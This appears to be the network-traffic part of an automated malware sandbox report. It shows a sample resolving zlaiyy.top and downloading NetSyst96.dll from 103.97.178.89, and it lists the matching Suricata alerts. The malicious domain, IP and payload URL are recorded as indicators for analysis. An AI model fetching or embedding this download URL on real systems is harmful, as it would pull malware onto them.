Network Analysis
| Name | Response | Post-Analysis Lookup |
|---|---|---|
| zlaiyy.top | 103.97.178.89 |
GET
200
http://103.97.178.89/NetSyst96.dll
REQUEST
RESPONSE
BODY
GET /NetSyst96.dll HTTP/1.1
User-Agent: Mozilla/4.0 (compatible)
Host: 103.97.178.89
Cache-Control: no-cache
HTTP/1.1 200 OK
Content-Type: application/octet-stream
Content-Length: 244784
Accept-Ranges: bytes
Server: HFS 2.3i
Set-Cookie: HFS_SID_=0.763141620671377; path=/; HttpOnly
Last-Modified: Wed, 18 Nov 2015 06:56:07 GMT
Content-Disposition: attachment; filename="NetSyst96.dll";
ICMP traffic
No ICMP traffic performed.
IRC traffic
No IRC requests performed.
Suricata Alerts
| Flow | SID | Signature | Category |
|---|---|---|---|
| UDP 192.168.56.101:59002 -> 164.124.101.2:53 | 2023883 | ET DNS Query to a *.top domain - Likely Hostile | Potentially Bad Traffic |
| TCP 192.168.56.101:49162 -> 103.97.178.89:80 | 2027250 | ET INFO Dotted Quad Host DLL Request | Potentially Bad Traffic |
| TCP 192.168.56.101:49162 -> 103.97.178.89:80 | 2008974 | ET ADWARE_PUP User-Agent (Mozilla/4.0 (compatible)) | Possibly Unwanted Program Detected |
| TCP 103.97.178.89:80 -> 192.168.56.101:49162 | 2045860 | ET HUNTING Rejetto HTTP File Sever Response | A Network Trojan was detected |
Suricata TLS
No Suricata TLS
Snort Alerts
No Snort Alerts